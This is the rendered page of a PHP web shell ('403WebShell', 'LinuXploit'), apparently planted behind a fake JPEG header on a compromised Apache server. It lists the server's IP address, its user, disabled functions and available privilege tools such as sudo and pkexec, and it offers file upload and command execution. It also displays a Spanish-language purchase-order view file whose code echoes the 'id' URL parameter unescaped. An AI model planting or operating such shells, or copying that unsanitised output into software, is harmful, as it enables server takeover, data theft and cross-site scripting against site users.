����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.128.190.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/invoice-view.php
<?php
	$logo = ConfigurationData::getByPreffix("report_image")->val;//
		if(isset($_GET["id"]) && $_GET["id"]!=""){
						
			$sell = ReData::getById($_GET["id"]);
				$operations = OperationData2::getAllProductsByReId($_GET["id"]);
			
			$settingsCalle = ConfigurationData::getByIdCalle();
			$settingsInt = ConfigurationData::getByIdInt();
			$settingsExt = ConfigurationData::getByIdExt();
			$settingsColonia = ConfigurationData::getByIdColonia();
			$settingsCity = ConfigurationData::getByIdCity();
			$settingsCP = ConfigurationData::getByIdCp();
			$imp = ConfigurationData::getByPreffix("imp-val")->val;
	$total = 0;				
		}else{
							
		}
		?>

<section class="content"> 
	<div class="row">
		<div class="col-md-12">
	
		  
			<!-- Content Header (Page header) -->
			<section class="content-header">
			  <div class="container-fluid">
				<div class="row mb-2">
				
				
				  
				  <div class="clearfix"></div>
					<nav class = "navbar navbar-inverse">
						<div class = "container-fluid">
							<a href = "#" class = "navbar-brand"><i class='glyphicon glyphicon-shopping-cart'></i>  Orden de Compra </a>
						</div>
					</nav>
				  
				  
				  
				</div>
			  </div><!-- /.container-fluid -->
			</section>

			<section class="content">
			  <div class="container-fluid">
				<div class="row">
				  <div class="col-12">
				  
					

					
					<!-- Main content -->
					<div class="invoice p-3 mb-3">
					  <!-- title row -->
					  <div class="row">
						<div class="col-12">
						  <h4>
							<i class="fa fa-globe"></i> <?php echo ConfigurationData::getByPreffix("company_name")->val;?>
							<small class="float-right">Fecha: <?php echo $sell->created_at;?></small>
						  </h4>
						</div>
						<!-- /.col -->
					  </div>
					  <!-- info row -->
					  <div class="row invoice-info">
						<div class="col-sm-4 invoice-col">
						  De:
						  <address>
							<strong><?php echo ConfigurationData::getByPreffix("company_name")->val;?></strong><br>
							<?php echo $settingsCalle->val." ".$settingsInt->val." ".$settingsColonia->val;?><br>
							<?php echo $settingsCity->val;?>, CP <?php echo $settingsCP->val;?><br>
							RFC: <?php echo ConfigurationData::getByPreffix("rfc_val")->val; ?> <br>
							Correo: <?php echo ConfigurationData::getByPreffix("admin_email")->val; ?>
						  </address>
						</div>
						<!-- /.col -->
						<?php if($sell->person_id!=""):
								$client = PersonData::getProvidersId($sell->person_id);
						?>
							<div class="col-sm-4 invoice-col">
							  Para:
							  <address>
								<strong><?php echo $client->name."-Contacto: ".$client->lastname;?></strong><br>
								<?php echo $client->address1;?><br>
								<?php echo $client->country;?><br>
								Telefono: <?php echo $client->phone;?><br>
								Correo: <?php echo $client->email1;?>
							  </address>
							</div>
						<?php endif; ?>
						
						<!-- /.col -->
						<div class="col-sm-4 invoice-col">
						  <b>Detalle de la orden</b><br>
						  <br>
						  <b>Orden ID:</b> #<?php echo $_GET["id"];?><br>
						  <b>Fecha de Pago:</b> <?php echo $sell->created_at;?><br>
						  <b>Cuenta:</b> 968-34567
						</div>
						<!-- /.col -->
					  </div>
					  <!-- /.row -->

					  <!-- Table row -->
					  <div class="row">
						<div class="col-12 table-responsive">
						  <table class="table table-striped">
							<thead>
							<tr>
							  <th>Cantidad</th>
							  <th>Precio Costo</th>
							  <th>Codigo #</th>
							  <th>Descripcion</th>
							  <th>Subtotal</th>
							</tr>
							</thead>
							<tbody>
							<?php foreach($operations as $operation){ 
								$product  = $operation->getProduct();
							?>
							<tr>
							  <td><?php echo $operation->q ;?></td>
							  <td>$ <?php echo number_format($operation->price_in,2,".",",") ;?></td>
							  <td><?php echo $product->barcode ;?></td>
							  <td><?php echo $product->name ;?></td>
							  <td>
								$ <?php echo number_format($operation->q*$operation->price_in,2,".",",");
									$total+=$operation->q*$operation->price_in;?>
							  </td>
							</tr>
							
							<?php }?>
							</tbody>
						  </table>
						</div>
						<!-- /.col -->
					  </div>
					  <!-- /.row -->

					  <div class="row">
						<!-- accepted payments column -->
						<div class="col-6">
						  <p class="lead">Metodos de Pago:</p>
						  <img src="plugins/dist/img/credit/visa.png" alt="Visa">
						  <img src="plugins/dist/img/credit/mastercard.png" alt="Mastercard">
						  <img src="plugins/dist/img/credit/american-express.png" alt="American Express">
						  <img src="plugins/dist/img/credit/paypal2.png" alt="Paypal">

						  <p class="text-muted well well-sm shadow-none" style="margin-top: 10px;">
							<div class="callout callout-info">
					 
								<?php  
								  if(isset($operations[0]->product_id)){
									?>
									 <h5><i class="fa fa-info"></i> Compra-Entrada:</h5>
								
								<?php
									//print_r($operations[0]->product_id);
										}else{
								?>
									 <h5><i class="fa fa-info"></i> Ajuste-Salida:</h5>
								<?php		
											
											$operations = OperationData2::getAllProductsByAjId2($_GET["id"]);
											//print_r($operations);
								}
								?>
								 Esta pagina puedes imprimirla o guardarla en pdf para enviarla por correo
							</div>
						  </p>
						</div>
						<!-- /.col -->
						<div class="col-6">
						  <p class="lead">Monto a pagar </p>

						  <div class="table-responsive">
							<table class="table">
							  <tr>
								<th style="width:50%">Subtotal:</th>
								<td>$ <?php echo number_format($total - $total/$imp,2,'.',','); ?></td>
							  </tr>
							  <tr>
								<th>Impuesto (<?php echo $imp; ?>%)</th>
								<td>$<?php 
								
								echo number_format($total/$imp,2); ?></td>
							  </tr>
							  <tr>
								<th>Envio:</th>
								<td>$0.00</td>
							  </tr>
							  <tr>
								<th>Total:</th>
								<td>$<?php echo number_format($total,2,'.',','); ?></td>
							  </tr>
							</table>
						  </div>
						</div>
						<!-- /.col -->
					  </div>
					  <!-- /.row -->

					  <!-- this row will not appear when printing -->
					  <div class="row no-print">
						<div class="col-12">
						  <a href="invoice-print.html" rel="noopener" target="_blank" class="btn btn-default"><i class="fa fa-print"></i> Imprimir (DEMO)</a>
						  <button type="button" class="btn btn-success float-right"><i class="fa fa-credit-card"></i> Enviar
							Por Correo(DEMO)
						  </button>
						  <button type="button" class="btn btn-primary float-right" style="margin-right: 5px;">
							<i class="fa fa-download"></i> Generar PDF (DEMO)
						  </button>
						</div>
					  </div>
					</div>
					<!-- /.invoice -->
				  </div><!-- /.col -->
				</div><!-- /.row -->
			 
			</section>
		<!-- /.content -->
	
		</div>
	</div>
</section>	

Youez - 2016 - github.com/yon3zu
LinuXploit